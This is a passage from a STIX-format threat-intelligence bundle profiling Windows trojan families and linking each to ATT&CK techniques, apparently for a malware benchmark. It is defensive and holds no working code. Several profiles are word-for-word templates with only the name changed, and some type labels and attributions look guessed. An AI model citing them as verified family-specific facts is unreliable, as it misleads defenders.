Conduct a thorough forensic sweep to identify not only the Jusabli executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Jusabli frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Jusabli",
        "Downloader.Jusabli",
        "Win32/Jusabli"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Jusabli",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/jusabli"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--360a0133-fa0b-5597-81c3-b25581da91a3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--be512cd0-941f-53fc-baf9-27829ed3741e",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jusabli exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--efb7a9a2-3956-5f91-9fc2-0746d56449e3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--be512cd0-941f-53fc-baf9-27829ed3741e",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jusabli exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--24a7790c-de9f-50e6-92cf-aa9078b12610",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--be512cd0-941f-53fc-baf9-27829ed3741e",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jusabli exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f9e3b540-79e2-58fd-9968-cbf12360be52",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Jyfi",
      "description": "Trojan:Win32/Jyfi is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Jyfi</b><br>To an end-user, a Jyfi infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Jyfi is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Jyfi is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Jyfi frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Jyfi reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Jyfi",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/jyfi"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b7c3b25d-4c13-5eaa-9904-fd22ac287c0c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f9e3b540-79e2-58fd-9968-cbf12360be52",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jyfi exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ae1c270e-aed7-5c54-93d8-5d527288f5b5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f9e3b540-79e2-58fd-9968-cbf12360be52",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jyfi exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--35e5ad33-6652-5396-976d-9d91a2a5e8cd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f9e3b540-79e2-58fd-9968-cbf12360be52",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jyfi exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--59a3fa36-3d8f-5085-a742-7b8e64f6a24f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f9e3b540-79e2-58fd-9968-cbf12360be52",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jyfi exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c90bc78f-474f-59ee-9838-3497d3a229ce",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f9e3b540-79e2-58fd-9968-cbf12360be52",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jyfi exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--18d0fc90-b90e-5d06-81b1-0617b0a01c0a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Jyuqet",
      "description": "Trojan:Win32/Jyuqet is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Jyuqet</b><br>To an end-user, a Jyuqet infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Jyuqet is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Jyuqet is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Jyuqet frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Jyuqet reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Jyuqet",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/jyuqet"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a3a9e05d-c6c9-5079-871c-fc4b3ab21546",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--18d0fc90-b90e-5d06-81b1-0617b0a01c0a",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jyuqet exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--004b3858-fc82-5779-a264-5dcbaa5bdcb5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--18d0fc90-b90e-5d06-81b1-0617b0a01c0a",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jyuqet exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c35c6cf7-2087-59ea-8ae2-788a7cfc8264",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--18d0fc90-b90e-5d06-81b1-0617b0a01c0a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jyuqet exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2e93e6b0-1546-55f3-a127-b2f32e3dbe55",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--18d0fc90-b90e-5d06-81b1-0617b0a01c0a",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jyuqet exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--22b2848b-43cb-5a03-bd89-431ba517b2cc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--18d0fc90-b90e-5d06-81b1-0617b0a01c0a",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jyuqet exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8664be9c-243d-5219-aa30-9688c342794a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Kabymj",
      "description": "<h3>Executive Summary</h3>\nKabymj is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nKabymj is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Kabymj operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Kabymj ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Kabymj receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Kabymj infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Kabymj executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Kabymj frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Kabymj",
        "Downloader.Kabymj",
        "Win32/Kabymj"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Kabymj",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/kabymj"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d4bcd02d-0ba7-5376-9fb8-b2471daeefff",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8664be9c-243d-5219-aa30-9688c342794a",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kabymj exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--59dfef15-e961-529c-a29b-34899d949276",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8664be9c-243d-5219-aa30-9688c342794a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kabymj exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a6db0e90-ad10-5645-a91e-c70965151fd5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8664be9c-243d-5219-aa30-9688c342794a",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kabymj exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8ce8c497-6263-5a76-90df-61504c924aa5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Kapucen",
      "description": "Trojan:Win32/Kapucen is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Kapucen</b><br>To an end-user, a Kapucen infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Kapucen is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Kapucen is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Kapucen frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Kapucen reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Kapucen",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/kapucen"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3ffa3200-cac3-5e97-8f19-eb0a0ab9f752",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8ce8c497-6263-5a76-90df-61504c924aa5",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kapucen exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4517b373-18b4-5b98-89d0-34bc99de60ae",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8ce8c497-6263-5a76-90df-61504c924aa5",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kapucen exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--00bf437f-f1c1-5304-9752-ee2300ca82ee",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8ce8c497-6263-5a76-90df-61504c924aa5",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kapucen exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--52c3fbe2-bfe8-5579-aa15-a6e1edd68708",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8ce8c497-6263-5a76-90df-61504c924aa5",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kapucen exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8bf2dba3-737b-5cc0-aebe-6b27da45c4fd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8ce8c497-6263-5a76-90df-61504c924aa5",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kapucen exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2c95985e-0739-5e21-89a3-1136b6a3327b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Karagany",
      "description": "<h3>Executive Summary</h3>\nKaragany is a sophisticated Backdoor Trojan historically associated with the state-sponsored Advanced Persistent Threat (APT) group known as Dragonfly (also known as Energetic Bear or Crouching Yeti). This group is notorious for targeting the global energy sector, aviation, and industrial control systems (ICS). Karagany serves as a primary tool for initial access, network reconnaissance, and the deployment of secondary, highly specialized espionage tools.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nKaragany has historically been distributed via highly targeted watering hole attacks (compromising websites frequently visited by ICS engineers), spear-phishing campaigns containing weaponized PDF or Office documents, and, most notably, via supply chain compromises involving trojanized software updates for legitimate industrial control software.\n\nOnce executed, Karagany exhibits advanced espionage and persistence capabilities:\n<ul>\n<li><strong>System Reconnaissance and Data Collection:</strong> The backdoor immediately begins mapping the compromised network, collecting detailed system information, network configurations, and active directory structures to identify high-value targets (like SCADA systems).</li>\n<li><strong>Plugin Architecture:</strong> Karagany is highly modular. It acts as a downloader for specialized plugins requested from its Command and Control (C2) server. These plugins include password stealers (credential dumping), screenshot capture utilities, and network scanners.</li>\n<li><strong>C2 Evasion:</strong> The malware often communicates with its C2 infrastructure using HTTP/HTTPS, frequently utilizing compromised, legitimate websites (often CMS-based sites like WordPress or Joomla) as proxies to blend its traffic with normal web browsing and evade network detection.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe detection of Karagany is a critical, \"break-glass\" security incident. It indicates a successful breach by a highly capable, state-sponsored adversary explicitly targeting critical infrastructure. The primary threat is not immediate data destruction, but long-term, silent espionage and the potential prepositioning for future, highly destructive cyber-physical attacks.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Forensic Triage and Containment:</strong> Do not immediately wipe the machine. Isolate the endpoint from the internet and the ICS/SCADA network segments. Incident Response teams must capture volatile memory (RAM) to analyze the memory-resident plugins and identify C2 indicators.</li>\n<li><strong>Enterprise-Wide Threat Hunt:</strong> The presence of Karagany guarantees lateral movement. A comprehensive enterprise-wide threat hunt must be initiated to identify all compromised assets and secondary persistence mechanisms deployed by the Dragonfly group.</li>\n<li><strong>Complete Architecture Review:</strong> Remediation requires a full rebuild of the compromised endpoints from clean baselines, a complete reset of the Active Directory environment, and a fundamental review of network segmentation between the IT and OT (Operational Technology) networks.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Backdoor.Karagany",
        "Trojan.Karagany",
        "APT.Dragonfly"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Karagany",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/karagany"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ab28e84f-ef74-5fd1-86d5-7174d5dd94ab",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2c95985e-0739-5e21-89a3-1136b6a3327b",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Karagany exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--25ea547f-23c8-53b9-9df1-6a0240f70c0e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2c95985e-0739-5e21-89a3-1136b6a3327b",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Karagany exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0a60af9e-916d-5e2c-8bc3-4bc71582f89a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2c95985e-0739-5e21-89a3-1136b6a3327b",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Karagany exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--31830f25-bff8-5b28-bac6-cd0cea85b7c7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2c95985e-0739-5e21-89a3-1136b6a3327b",
      "target_ref": "attack-pattern--c1cad0be-7101-5b46-889b-71b19f414675",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Karagany exhibits technique T1003.001 (OS Credential Dumping: LSASS Memory (Behaviorally blocking access to credential stores))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--cc10419e-36b2-5cc8-b931-17fde09caa7b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Karamanak",
      "description": "<h3>Executive Summary</h3>\nKaramanak (highly likely a detection alias or typo for the infamous <strong>Carbanak</strong> APT malware) is an advanced, highly sophisticated Remote Access Trojan (RAT) and Banking Trojan. Originally discovered targeting the SWIFT network and ATM infrastructure of global financial institutions, it is a tool utilized by elite cybercriminal syndicates (often tracked as FIN7 or the Carbanak gang) to orchestrate multi-million dollar digital heists.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nKaramanak infections are the result of highly targeted, persistent campaigns. Initial access is typically achieved through highly customized spear-phishing emails containing weaponized Microsoft Word documents (exploiting vulnerabilities like CVE-2015-1641 or utilizing malicious macros) sent specifically to bank employees.\n\nOnce inside the network, Karamanak deploys a comprehensive espionage and theft suite:\n<ul>\n<li><strong>Deep Cover Surveillance:</strong> The malware is designed for long-term espionage. It features advanced keylogging, desktop video recording (VNC capabilities), and audio capture. The attackers use these tools to silently study the bank's internal procedures, administrative workflows, and SWIFT transfer protocols for months.</li>\n<li><strong>Lateral Movement:</strong> Karamanak utilizes built-in tools and legitimate administrative utilities (like PsExec and PowerShell) to move laterally from the initial point of compromise to high-value targets, such as database servers, SWIFT terminals, or ATM management controllers.</li>\n<li><strong>Financial Theft:</strong> Once the attackers understand the workflows, they use the RAT's remote control capabilities to initiate fraudulent SWIFT transfers, manipulate account balances, or send commands directly to ATMs to dispense cash (jackpotting).</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe detection of Karamanak on a corporate network is an extreme emergency. It indicates that an Advanced Persistent Threat (APT) group has likely been residing within the environment for an extended period, actively mapping the infrastructure, and is preparing to execute a devastating financial theft or data exfiltration operation.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Enterprise Incident Response:</strong> Standard IT remediation is insufficient. You must immediately engage specialized, third-party Incident Response (IR) and forensic firms experienced in handling APT intrusions and financial sector compromises.</li>\n<li><strong>Total Network Lockdown:</strong> All critical financial systems (SWIFT, payment gateways, Active Directory Domain Controllers) must be tightly monitored and potentially isolated. Comprehensive hunting for lateral movement artifacts (compromised service accounts, persistent backdoors) must be executed enterprise-wide.</li>\n<li><strong>Credential Eviction:</strong> A complete, coordinated reset of all enterprise credentials (especially Domain Admins and service accounts) must be performed simultaneously to evict the attackers, followed by a total rebuild of the compromised 